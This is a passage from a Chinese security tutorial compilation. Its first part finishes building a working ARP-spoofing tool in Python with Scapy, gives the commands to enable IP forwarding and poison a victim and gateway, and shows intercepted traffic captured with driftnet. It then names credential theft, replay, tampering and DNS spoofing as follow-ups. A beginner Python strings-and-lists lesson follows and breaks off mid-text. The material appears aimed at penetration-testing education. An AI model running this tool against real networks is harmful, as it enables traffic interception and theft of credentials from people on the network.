pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target, op=2)
return pkt
if options.mode == 'req':
pkt = build_req()
elif options.mode == 'rep':
pkt = build_rep()
if options.summary is True:
pkt.show()
ans = raw_input('\n[*] Continue? [Y|n]: ').lower()
if ans == 'y' or len(ans) == 0:
pass
else:
sys.exit(0)
while True:
sendp(pkt, inter=2, iface=options.interface)
if __name__ == '__main__':
main()
代码略微有一点多,不过核心内容没有离开我们上面讲到的内容,现在做个分解。
usage = 'Usage: %prog [-i interface] [-t target] host'
parser = OptionParser(usage)
parser.add_option('-i', dest='interface', help='Specify the interface to use')
parser.add_option('-t', dest='target', help='Specify a particular host to ARP poison')
parser.add_option('-m', dest='mode', default='req', help='Poisoning mode: requests (req) or replies (rep) [default: %default]')
parser.add_option('-s', action='store_true', dest='summary', default=False, help='Show packet summary and ask for confirmation before poisoning')
(options, args) = parser.parse_args()
if len(args) != 1 or options.interface is None:
parser.print_help()
sys.exit(0)
首先,我们引入了optparse模块,用来格式化用户输入的参数,如果用户输入参数不正确,会打印使用说明。
图10
下面调用了get_if_hwaddr方法,根据参数中传入的网卡,获取本机MAC地址,该MAC地址在构建以太网和ARP数据包的时候做为攻击机的MAC地址被使用。
接下来是build_req方法,和build_rep方法,分别用来构建ARP请求和响应包。两个方法会检查是否指定了目标地址,如果没有就是广播欺骗,如果有就是定下欺骗。两个方法里面使用了getmacbyip方法来根据ip地址获取目标主机的MAC地址。构建数据包的原理我们上面讲的很清楚了,这里就不重复了。
再往下是根据输入的参数,判断应该构建的数据包类型,调用对应的方法。
if options.mode == 'req':
pkt = build_req()
elif options.mode == 'rep':
pkt = build_rep()
if options.summary is True:
pkt.show()
ans = raw_input('\n[*] Continue? [Y|n]: ').lower()
if ans == 'y' or len(ans) == 0:
pass
else:
sys.exit(0)
最后是发送数据包和程序的入口。
while True:
sendp(pkt, inter=2, iface=options.interface)
if __name__ == '__main__':
main()
程序准备妥当,我们保存源码,下面开始测试。
3.1.6 测试
在做ARP欺骗测试的时候,一定要先开启本机的IP转发功能,否则会失败的。执行如下命令:
sysctl net.ipv4.ip_forward=1
图11
下面我们打开终端,对192.168.1.18进行欺骗,告诉它网关为192.168.1.102所在的主机。
图12
在打开一个终端,对网关进行欺骗,告诉网关,192.168.1.18对应的主机为192.168.1.102.
python arp1.py -i eth0 -t 192.168.1.1 192.168.1.18
一段时间之后,我们发现,192.168.1.18的arp缓存发生了变化:
图13
对比图13和图5我们知道arp毒化成功。下面我们来看一下能发捕获到1.18的外网请求信息,使用常用的测试工具driftnet。
图14
下面在1.18上随便打开几个带有图片的网页。
图15
在drifnet上面我们可以看到捕获的图片信息,如图16所示。
图16
证明我们的arp欺骗程序编写成功。
3.1.7 在此基础上我们能做什么
上面的测试,我们知道基于ARP欺骗我们可以做数据监听,能拿到敏感信息,能拿到凭证进行重放攻击,能进行数据篡改,结合调用和DNS欺骗做很多事情。
关于进一步的实战利用,这里我就不展开了,在我的视频教程《Kali Linux web渗透测试基础教程》的第十四课《第14课-arp欺骗、嗅探、dns欺骗、session劫持》讲了很多实用的工具,可以在ARP欺骗的基础上做很多测试。只要在玄魂工作室的微信订阅号(在下方扫码关注)下回复“kali”,会自动回复你免费获取整套教程的方法。
3.1.8 小结
本节比较详细的讲解了基于Scapy进行ARP数据包构建和发送的基础知识,综合这些基础进行ARP欺骗的工具编写,最终完成了一个可用的ARP欺骗工具。
下一节,基于本节的知识,我们编写一个ARP监控工具,来对网络上主机的ARP请求做动态的回应。
========
入门
http://www.kancloud.cn/wizardforcel/py-sec-tutorial/121713
这将是第一个一系列关于python编程的博客文章。python是一门非常强大的语言,因为它有信息安全社区的支撑。这意味着很多工具都是由python编写并且可以在脚本中调用很多模块。使用模块的好处就是只需要少量的代码就能够完成所需的任务。
这篇文章假定你的系统是Linux,python版本是2.*。在写代码的时候你也可以直接的写在解释器里面(linux里面输入python即可进入),也可以把代码放到一个文件里面。很多人会发现把代码存放到文件里面要比直接写在解释器上面要好很多。值得注意的是python 中强制缩进。大家在写函数声明,循环,if/else语句等等的时候就会发现。
python解释器
在终端里面输入python:
~$ python
Python 2.7.6 (default, Mar 22 2014, 22:59:56)
[GCC 4.8.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>>
输入之后你就可以直接在解释器里面写你的代码了。下面我们将声明两个变量,并且使用type()函数查看变量的类型。假设我们声明了一个字符串和整型:
>>>
>>> ip = '8.8.8.8'
>>> port = 53
>>>
>>> type(ip)
>>>
>>> type(port)
>>>
你可以使用内置的help()函数去了解一个函数的详细。记住这一点,它可以帮助你在学习语言的时候学习到更多的详细内容.
>>>
>>> help(type)
>>>
有时你会想把一些变量和字符串连接起来然后通过脚本显示出来。那么你就需要使用str()函数把整型转换成字符串类型
>>> ip='1.1.1.1'
>>> port=55
>>> print 'the ip is:'+ip+'and the port is:'+str(port)
the ip is:1.1.1.1and the port is:55
前面声明变量的时候"IP"就是一个字符串就不需要转换,而"port"就需要。现在你就已经知道了两个基本的数据类型(string和integer)。现在你可以试试使用内置函数与这两个数据类型写出其他的代码。
Python字符串允许你通过偏移值来获取你想需要的字符串,并且可以通过len()函数来获取字符串的长度,它可以帮助你更方便的操作字符串。
>>>
>>> domain='primalsecurity.net'
>>> domain
'primalsecurity.net'
>>> domain[0]
'p'
>>> domain[0:3]
'pri'
>>> domain[1:]
'rimalsecurity.net'
>>> len(domain)
18
你可以使用内建的dir()函数来列出模块定义的标识符。标识符有函数、类和变量。
>>> dir(ip)
['__add__', '__class__', '__contains__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__getslice__', '__gt__', '__hash__', '__init__', '__le__', '__len__', '__lt__', '__mod__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '_formatter_field_name_split', '_formatter_parser', 'capitalize', 'center', 'count', 'decode', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'index', 'isalnum', 'isalpha', 'isdigit', 'islower', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'partition', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']
现在你可以使用上面列举出来的内建字符串函数,如果想知道这个函数的更多描述可以参考前面提到的help()函数:
>>>
>>> help(ip.split)
>>>
>>> string = ip+':'+str(port)
>>> string
'8.8.8.8:53'
>>>
>>> string.split(':')
['8.8.8.8', '53']
这split函数把一个字符串通过":"切割生成一个新的列表。这是一个非常有用的字符串函数因为你能够把这个字符串里面的有用信息提出出来。例如,你获取到了一个ip列表,你想在这个列表里面添加一个索引值。你也可以删除和添加新的值到这个列表里面通过.append()和.remove()函数
>>>
>>> list = string.split(':')
>>>
>>> list
['8.8.8.8', '53']
>>>
>>> list[0]
'8.8.8.8'
>>>
>>> list.append('google')
>>> list
['8.8.8.8', '53', 'google']
>>> list.remove('google')
>>> list
['8.8.8.8', '53']
&g